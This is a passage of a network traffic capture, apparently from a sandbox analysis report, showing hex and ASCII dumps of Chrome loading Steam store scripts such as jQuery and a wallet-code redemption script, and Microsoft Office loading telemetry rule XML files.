2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-06 11:20:55 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112055Z-1657d5bbd48dfrdj7px744zp8s00000001r0000000004hyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:55 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112055Z-1657d5bbd48wd55zet5pcra0cg00000001y0000000003xth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:55 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49741	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	412	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	475	IN	HTTP/1.1 200 OK Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: ".TZ2NKhB-nliU" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 X-Serial: 1737 X-Akamai-SSL-Client-Sid: KvR2HQB5UXgeTT7CRsNBvQ== X-Check-Cacheable: YES Cache-Control: public, max-age=7798744 Expires: Sat, 04 Jan 2025 17:39:59 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:55 UTC	15909	IN	Data Raw: 30 30 30 30 42 31 43 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 Data Ascii: 0000B1C1/! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.ge
2024-10-06 11:20:55 UTC	15865	IN	Data Raw: 68 3b 69 66 28 72 26 26 74 79 70 65 6f 66 20 72 3d 3d 22 6f 62 6a 65 63 74 22 29 7b 66 6f 72 28 6c 20 69 6e 20 72 29 76 2e 61 63 63 65 73 73 28 65 2c 6e 2c 6c 2c 72 5b 6c 5d 2c 31 2c 6f 2c 69 29 3b 73 3d 31 7d 65 6c 73 65 20 69 66 28 69 21 3d 3d 74 29 7b 61 3d 75 3d 3d 3d 74 26 26 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 69 29 2c 66 26 26 28 61 3f 28 61 3d 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 Data Ascii: h;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return
2024-10-06 11:20:55 UTC	13743	IN	Data Raw: 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 6e 29 29 26 26 72 2e 6e 6f 64 65 56 61 6c 75 65 21 3d 3d 21 31 3f 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 21 31 3f 76 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 6e 29 3a 28 72 3d 76 2e 70 72 6f 70 46 69 78 5b 6e 5d 7c 7c 6e 2c 72 20 69 6e 20 65 26 26 28 65 5b 72 5d 3d 21 30 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 7d 7d 2c 56 7c 7c 28 49 3d 7b 6e 61 6d 65 3a 21 30 2c 69 64 3a 21 30 2c 63 6f 6f 72 64 73 3a 21 30 7d 2c 6a 3d 76 2e 76 61 6c 48 6f 6f 6b 73 2e 62 Data Ascii: ="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]\|\|n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V\|\|(I={name:!0,id:!0,coords:!0},j=v.valHooks.b
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 Data Ascii: 00004000&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 0d 0a Data Ascii: n(e){var t
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 Data Ascii: 00004000,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:funct
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 2c 76 61 6c 75 65 3a 6e 2e 72 0d 0a Data Ascii: ,value:n.r
2024-10-06 11:20:55 UTC	13508	IN	Data Raw: 30 30 30 30 33 34 42 38 0d 0a 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c Data Ascii: 000034B8eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|
2024-10-06 11:20:55 UTC	1880	IN	Data Raw: 30 30 30 30 30 37 34 43 0d 0a 63 73 73 28 65 2c 22 74 6f 70 22 29 2c 75 3d 76 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 61 3d 28 72 3d 3d 3d 22 61 62 73 6f 6c 75 74 65 22 7c 7c 72 3d 3d 3d 22 66 69 78 65 64 22 29 26 26 76 2e 69 6e 41 72 72 61 79 28 22 61 75 74 6f 22 2c 5b 6f 2c 75 5d 29 3e 2d 31 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 61 3f 28 6c 3d 69 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 63 3d 6c 2e 74 6f 70 2c 68 3d 6c 2e 6c 65 66 74 29 3a 28 63 3d 70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 68 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 73 29 29 2c 74 2e 74 6f 70 21 3d 6e 75 6c 6c 26 26 28 66 2e 74 6f 70 3d 74 2e 74 6f 70 2d 73 2e 74 Data Ascii: 0000074Ccss(e,"top"),u=v.css(e,"left"),a=(r==="absolute"\|\|r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)\|\|0,h=parseFloat(u)\|\|0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.t
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:55 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112055Z-1657d5bbd48sqtlf1huhzuwq7000000001k000000000cyc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:55 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:55 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112055Z-1657d5bbd48xsz2nuzq4vfrzg800000001ng00000000g5cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:55 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49748	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	554	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	352	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "XsgODqUOlVw9" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=15330930 Expires: Tue, 01 Apr 2025 21:56:25 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Length: 14447 Connection: close
2024-10-06 11:20:55 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49749	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	403	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	348	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT ETag: ".zYHOpI1L3Rt0" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=10299956 Expires: Sun, 02 Feb 2025 16:26:51 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Length: 16087 Connection: close
